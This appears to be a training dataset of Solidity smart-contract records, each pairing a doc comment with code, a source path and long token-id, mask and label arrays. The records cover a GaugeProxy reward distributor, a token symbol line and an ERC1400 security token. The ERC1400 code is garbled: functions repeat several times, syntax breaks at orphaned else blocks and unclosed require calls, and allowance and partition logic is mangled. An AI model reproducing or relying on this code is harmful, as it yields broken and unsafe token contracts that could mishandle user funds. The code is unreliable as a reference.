true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage * 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }
Deposits mDILL into MasterChef
function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); }
74,969
[ 1, 758, 917, 1282, 312, 2565, 4503, 1368, 13453, 39, 580, 74, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 1435, 1071, 288, 203, 3639, 2583, 12, 6610, 405, 374, 16, 315, 6610, 486, 6454, 8863, 203, 3639, 467, 654, 39, 3462, 389, 2316, 273, 14275, 31, 203, 3639, 2254, 389, 12296, 273, 389, 2316, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 389, 2316, 18, 4626, 12053, 537, 12, 2867, 12, 28045, 3631, 374, 1769, 203, 3639, 389, 2316, 18, 4626, 12053, 537, 12, 2867, 12, 28045, 3631, 389, 12296, 1769, 203, 3639, 27312, 18, 323, 1724, 12, 6610, 16, 389, 12296, 1769, 203, 565, 289, 203, 377, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x15d7B4ffdbEd6f4C22f4e96Da7bE4d5616eF289A/sources/PROVA.sol
Set the symbol for display purposes
symbol = "PRO1";
5,112,113
[ 1, 694, 326, 3273, 364, 2562, 13694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3273, 273, 315, 3373, 21, 14432, 27573, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xd81b3000D6Cad7af85E9939AfAb1243B56618EA9/sources/VFIN.sol
* @title ERC1400 @dev ERC1400 logic/ Token Token extensions User extensions Indicate whether the token can still be controlled by operators or not anymore. Indicate whether the token can still be issued by the issuer or not anymore. Mapping from tokenHolder to balance. Mapping from (tokenHolder, spender) to allowed value.
contract ERC1400 is IERC20, IERC1400, Ownable, ERC1820Client, ERC1820Implementer, MinterRole, DomainAware, ReentrancyGuard { string constant internal ERC1400_INTERFACE_NAME = "ERC1400Token"; string constant internal ERC20_INTERFACE_NAME = "ERC20Token"; string constant internal ERC1400_TOKENS_CHECKER = "ERC1400TokensChecker"; string constant internal ERC1400_TOKENS_VALIDATOR = "ERC1400TokensValidator"; string constant internal ERC1400_TOKENS_SENDER = "ERC1400TokensSender"; string constant internal ERC1400_TOKENS_RECIPIENT = "ERC1400TokensRecipient"; string internal _name; string internal _symbol; uint256 internal _granularity; uint256 internal _totalSupply; bool internal _migrated; bool internal _isControllable; bool internal _isIssuable; mapping(address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; struct Doc { string docURI; bytes32 docHash; uint256 timestamp; } mapping(bytes32 => uint256) internal _indexOfDocHashes; bytes32[] internal _docHashes; mapping(bytes32 => Doc) internal _documents; bytes32[] internal _totalPartitions; mapping (bytes32 => uint256) internal _indexOfTotalPartitions; mapping (bytes32 => uint256) internal _totalSupplyByPartition; mapping (address => bytes32[]) internal _partitionsOf; mapping (address => mapping (bytes32 => uint256)) internal _indexOfPartitionsOf; mapping (address => mapping (bytes32 => uint256)) internal _balanceOfByPartition; bytes32[] internal _defaultPartitions; mapping(address => mapping(address => bool)) internal _authorizedOperator; address[] internal _controllers; mapping(address => bool) internal _isController; mapping(bytes32 => mapping (address => mapping (address => uint256))) internal _allowedByPartition; mapping (address => mapping (bytes32 => mapping (address => bool))) internal _authorizedOperatorByPartition; mapping (bytes32 => address[]) internal _controllersByPartition; mapping (bytes32 => mapping (address => bool)) internal _isControllerByPartition; modifier isIssuableToken() { _; } modifier isNotMigratedToken() { _; } modifier onlyMinter() override { require(isMinter(msg.sender) || owner() == _msgSender()); _; } string memory name_, string memory symbol_, uint256 granularity_, bytes32[] memory defaultPartitions_ ) event ApprovalByPartition(bytes32 indexed partition, address indexed owner, address indexed spender, uint256 value); constructor( { _name = name_; _symbol = symbol_; _totalSupply = 0; _granularity = granularity_; _defaultPartitions = defaultPartitions_; _isControllable = true; _isIssuable = true; ERC1820Client.setInterfaceImplementation(ERC1400_INTERFACE_NAME, address(this)); ERC1820Client.setInterfaceImplementation(ERC20_INTERFACE_NAME, address(this)); } function totalSupply() external override view returns (uint256) { return _totalSupply; } function balanceOf(address tokenHolder) external override view returns (uint256) { return _balances[tokenHolder]; } function transfer(address to, uint256 value) external override returns (bool) { _transferByDefaultPartitions(msg.sender, msg.sender, to, value, ""); return true; } function allowance(address from, address spender) external override view returns (uint256) { return _allowed[from][spender]; } function approve(address spender, uint256 value) external override returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) external override returns (bool) { require( _isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _transferByDefaultPartitions(msg.sender, from, to, value, ""); return true; } function transferFrom(address from, address to, uint256 value) external override returns (bool) { require( _isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _transferByDefaultPartitions(msg.sender, from, to, value, ""); return true; } } else { function getDocument(bytes32 shortName) external override view returns (string memory, bytes32, uint256) { return ( _documents[shortName].docURI, _documents[shortName].docHash, _documents[shortName].timestamp ); } function setDocument(bytes32 shortName, string calldata uri, bytes32 documentHash) external override { require(_isController[msg.sender]); _documents[shortName] = Doc({ docURI: uri, docHash: documentHash, timestamp: block.timestamp }); if (_indexOfDocHashes[documentHash] == 0) { _docHashes.push(documentHash); _indexOfDocHashes[documentHash] = _docHashes.length; } emit DocumentUpdated(shortName, uri, documentHash); } function setDocument(bytes32 shortName, string calldata uri, bytes32 documentHash) external override { require(_isController[msg.sender]); _documents[shortName] = Doc({ docURI: uri, docHash: documentHash, timestamp: block.timestamp }); if (_indexOfDocHashes[documentHash] == 0) { _docHashes.push(documentHash); _indexOfDocHashes[documentHash] = _docHashes.length; } emit DocumentUpdated(shortName, uri, documentHash); } function setDocument(bytes32 shortName, string calldata uri, bytes32 documentHash) external override { require(_isController[msg.sender]); _documents[shortName] = Doc({ docURI: uri, docHash: documentHash, timestamp: block.timestamp }); if (_indexOfDocHashes[documentHash] == 0) { _docHashes.push(documentHash); _indexOfDocHashes[documentHash] = _docHashes.length; } emit DocumentUpdated(shortName, uri, documentHash); } function removeDocument(bytes32 shortName) external override { require(_isController[msg.sender], "Unauthorized"); Doc memory data = _documents[shortName]; uint256 index1 = _indexOfDocHashes[data.docHash]; bytes32 lastValue = _docHashes[_docHashes.length - 1]; _indexOfDocHashes[lastValue] = index1; _docHashes.pop(); _indexOfDocHashes[data.docHash] = 0; delete _documents[shortName]; emit DocumentRemoved(shortName, data.docURI, data.docHash); } function getAllDocuments() external override view returns (bytes32[] memory) { return _docHashes; } function balanceOfByPartition(bytes32 partition, address tokenHolder) external override view returns (uint256) { return _balanceOfByPartition[tokenHolder][partition]; } function partitionsOf(address tokenHolder) external override view returns (bytes32[] memory) { return _partitionsOf[tokenHolder]; } function transferWithData(address to, uint256 value, bytes calldata data) external override { _transferByDefaultPartitions(msg.sender, msg.sender, to, value, data); } function transferFromWithData(address from, address to, uint256 value, bytes calldata data) external override virtual { require( _isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _transferByDefaultPartitions(msg.sender, from, to, value, data); } function transferFromWithData(address from, address to, uint256 value, bytes calldata data) external override virtual { require( _isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _transferByDefaultPartitions(msg.sender, from, to, value, data); } } else { function transferByPartition( bytes32 partition, address to, uint256 value, bytes calldata data ) external override nonReentrant returns (bytes32) { return _transferByPartition(partition, msg.sender, msg.sender, to, value, data, ""); } function operatorTransferByPartition( bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData ) external override returns (bytes32) { require(_isOperatorForPartition(partition, msg.sender, from) if(_allowedByPartition[partition][from][msg.sender] >= value) { _allowedByPartition[partition][from][msg.sender] = _allowedByPartition[partition][from][msg.sender] - value; _allowedByPartition[partition][from][msg.sender] = 0; } return _transferByPartition(partition, msg.sender, from, to, value, data, operatorData); } function operatorTransferByPartition( bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData ) external override returns (bytes32) { require(_isOperatorForPartition(partition, msg.sender, from) if(_allowedByPartition[partition][from][msg.sender] >= value) { _allowedByPartition[partition][from][msg.sender] = _allowedByPartition[partition][from][msg.sender] - value; _allowedByPartition[partition][from][msg.sender] = 0; } return _transferByPartition(partition, msg.sender, from, to, value, data, operatorData); } } else { function isControllable() external override view returns (bool) { return _isControllable; } function authorizeOperator(address operator) external override { require(operator != msg.sender); _authorizedOperator[operator][msg.sender] = true; emit AuthorizedOperator(operator, msg.sender); } function revokeOperator(address operator) external override { require(operator != msg.sender); _authorizedOperator[operator][msg.sender] = false; emit RevokedOperator(operator, msg.sender); } function authorizeOperatorByPartition(bytes32 partition, address operator) external override { _authorizedOperatorByPartition[msg.sender][partition][operator] = true; emit AuthorizedOperatorByPartition(partition, operator, msg.sender); } function revokeOperatorByPartition(bytes32 partition, address operator) external override { _authorizedOperatorByPartition[msg.sender][partition][operator] = false; emit RevokedOperatorByPartition(partition, operator, msg.sender); } function isOperator(address operator, address tokenHolder) external override view returns (bool) { return _isOperator(operator, tokenHolder); } function isOperatorForPartition(bytes32 partition, address operator, address tokenHolder) external override view returns (bool) { return _isOperatorForPartition(partition, operator, tokenHolder); } function isIssuable() external override view returns (bool) { return _isIssuable; } function issue(address tokenHolder, uint256 value, bytes calldata data) external override onlyMinter nonReentrant isIssuableToken { _issueByPartition(_defaultPartitions[0], msg.sender, tokenHolder, value, data); } function issueByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata data) external override onlyMinter nonReentrant isIssuableToken { _issueByPartition(partition, msg.sender, tokenHolder, value, data); } function redeem(uint256 value, bytes calldata data) external override nonReentrant { _redeemByDefaultPartitions(msg.sender, msg.sender, value, data); } function redeemFrom(address from, uint256 value, bytes calldata data) external override virtual nonReentrant { require(_isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _redeemByDefaultPartitions(msg.sender, from, value, data); } function redeemFrom(address from, uint256 value, bytes calldata data) external override virtual nonReentrant { require(_isOperator(msg.sender, from) if(_allowed[from][msg.sender] >= value) { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _allowed[from][msg.sender] = 0; } _redeemByDefaultPartitions(msg.sender, from, value, data); } } else { function redeemByPartition(bytes32 partition, uint256 value, bytes calldata data) external override nonReentrant { _redeemByPartition(partition, msg.sender, msg.sender, value, data, ""); } function operatorRedeemByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata operatorData) external override nonReentrant nonReentrant { if(_allowedByPartition[partition][tokenHolder][msg.sender] >= value) { _allowedByPartition[partition][tokenHolder][msg.sender] = _allowedByPartition[partition][tokenHolder][msg.sender] - value; _allowedByPartition[partition][tokenHolder][msg.sender] = 0; } _redeemByPartition(partition, msg.sender, tokenHolder, value, "", operatorData); } function operatorRedeemByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata operatorData) external override nonReentrant nonReentrant { if(_allowedByPartition[partition][tokenHolder][msg.sender] >= value) { _allowedByPartition[partition][tokenHolder][msg.sender] = _allowedByPartition[partition][tokenHolder][msg.sender] - value; _allowedByPartition[partition][tokenHolder][msg.sender] = 0; } _redeemByPartition(partition, msg.sender, tokenHolder, value, "", operatorData); } } else { function name() external view returns(string memory) { return _name; } function symbol() external view returns(string memory) { return _symbol; } function decimals() external pure returns(uint8) { return uint8(18); } function granularity() external view returns(uint256) { return _granularity; } function totalPartitions() external view returns (bytes32[] memory) { return _totalPartitions; } function totalSupplyByPartition(bytes32 partition) external view returns (uint256) { return _totalSupplyByPartition[partition]; } function renounceControl() external onlyOwner { _isControllable = false; } function renounceIssuance() external onlyOwner { _isIssuable = false; } function controllers() external view returns (address[] memory) { return _controllers; } function controllersByPartition(bytes32 partition) external view returns (address[] memory) { return _controllersByPartition[partition]; } function setControllers(address[] calldata operators) external onlyOwner { _setControllers(operators); } function setPartitionControllers(bytes32 partition, address[] calldata operators) external onlyOwner { _setPartitionControllers(partition, operators); } function getDefaultPartitions() external view returns (bytes32[] memory) { return _defaultPartitions; } function setDefaultPartitions(bytes32[] calldata partitions) external onlyOwner { _defaultPartitions = partitions; } function allowanceByPartition(bytes32 partition, address owner, address spender) external override view returns (uint256) { return _allowedByPartition[partition][owner][spender]; } function approveByPartition(bytes32 partition, address spender, uint256 value) external returns (bool) { _allowedByPartition[partition][msg.sender][spender] = value; emit ApprovalByPartition(partition, msg.sender, spender, value); return true; } function setTokenExtension(address extension, string calldata interfaceLabel, bool removeOldExtensionRoles, bool addMinterRoleForExtension, bool addControllerRoleForExtension) external onlyOwner { _setTokenExtension(extension, interfaceLabel, removeOldExtensionRoles, addMinterRoleForExtension, addControllerRoleForExtension); } function migrate(address newContractAddress, bool definitive) external onlyOwner { _migrate(newContractAddress, definitive); } function _transferWithData( address from, address to, uint256 value ) internal isNotMigratedToken { _balances[from] = _balances[from] - value; _balances[to] = _balances[to] + value; } function _transferByPartition( bytes32 fromPartition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal returns (bytes32) { bytes32 toPartition = fromPartition; if(operatorData.length != 0 && data.length >= 64) { toPartition = _getDestinationPartition(fromPartition, data); } _callSenderExtension(fromPartition, operator, from, to, value, data, operatorData); _callTokenExtension(fromPartition, operator, from, to, value, data, operatorData); _removeTokenFromPartition(from, fromPartition, value); _transferWithData(from, to, value); _addTokenToPartition(to, toPartition, value); _callRecipientExtension(toPartition, operator, from, to, value, data, operatorData); emit TransferByPartition(fromPartition, operator, from, to, value, data, operatorData); if(toPartition != fromPartition) { emit ChangedPartition(fromPartition, toPartition, value); } return toPartition; } function _transferByPartition( bytes32 fromPartition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal returns (bytes32) { bytes32 toPartition = fromPartition; if(operatorData.length != 0 && data.length >= 64) { toPartition = _getDestinationPartition(fromPartition, data); } _callSenderExtension(fromPartition, operator, from, to, value, data, operatorData); _callTokenExtension(fromPartition, operator, from, to, value, data, operatorData); _removeTokenFromPartition(from, fromPartition, value); _transferWithData(from, to, value); _addTokenToPartition(to, toPartition, value); _callRecipientExtension(toPartition, operator, from, to, value, data, operatorData); emit TransferByPartition(fromPartition, operator, from, to, value, data, operatorData); if(toPartition != fromPartition) { emit ChangedPartition(fromPartition, toPartition, value); } return toPartition; } function _transferByPartition( bytes32 fromPartition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal returns (bytes32) { bytes32 toPartition = fromPartition; if(operatorData.length != 0 && data.length >= 64) { toPartition = _getDestinationPartition(fromPartition, data); } _callSenderExtension(fromPartition, operator, from, to, value, data, operatorData); _callTokenExtension(fromPartition, operator, from, to, value, data, operatorData); _removeTokenFromPartition(from, fromPartition, value); _transferWithData(from, to, value); _addTokenToPartition(to, toPartition, value); _callRecipientExtension(toPartition, operator, from, to, value, data, operatorData); emit TransferByPartition(fromPartition, operator, from, to, value, data, operatorData); if(toPartition != fromPartition) { emit ChangedPartition(fromPartition, toPartition, value); } return toPartition; } function _transferByDefaultPartitions( address operator, address from, address to, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _transferByPartition(_defaultPartitions[i], operator, from, to, _remainingValue, data, ""); _remainingValue = 0; break; _transferByPartition(_defaultPartitions[i], operator, from, to, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } function _transferByDefaultPartitions( address operator, address from, address to, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _transferByPartition(_defaultPartitions[i], operator, from, to, _remainingValue, data, ""); _remainingValue = 0; break; _transferByPartition(_defaultPartitions[i], operator, from, to, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } function _transferByDefaultPartitions( address operator, address from, address to, uint256 value, bytes memory data ) internal { uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _defaultPartitions.length; i++) { _localBalance = _balanceOfByPartition[from][_defaultPartitions[i]]; if(_remainingValue <= _localBalance) { _transferByPartition(_defaultPartitions[i], operator, from, to, _remainingValue, data, ""); _remainingValue = 0; break; _transferByPartition(_defaultPartitions[i], operator, from, to, _localBalance, data, ""); _remainingValue = _remainingValue - _localBalance; } } } } else if (_localBalance != 0) { function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) } if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } toPartition = fromPartition; } } function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) } if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } toPartition = fromPartition; } } function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) } if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } toPartition = fromPartition; } } function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) } if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } toPartition = fromPartition; } } } else { function _removeTokenFromPartition(address from, bytes32 partition, uint256 value) internal { _balanceOfByPartition[from][partition] = _balanceOfByPartition[from][partition]- value; _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition] - value; if(_totalSupplyByPartition[partition] == 0) { uint256 index1 = _indexOfTotalPartitions[partition]; bytes32 lastValue = _totalPartitions[_totalPartitions.length - 1]; _indexOfTotalPartitions[lastValue] = index1; _totalPartitions.pop(); _indexOfTotalPartitions[partition] = 0; } if(_balanceOfByPartition[from][partition] == 0) { uint256 index2 = _indexOfPartitionsOf[from][partition]; bytes32 lastValue = _partitionsOf[from][_partitionsOf[from].length - 1]; _indexOfPartitionsOf[from][lastValue] = index2; _partitionsOf[from].pop(); _indexOfPartitionsOf[from][partition] = 0; } } function 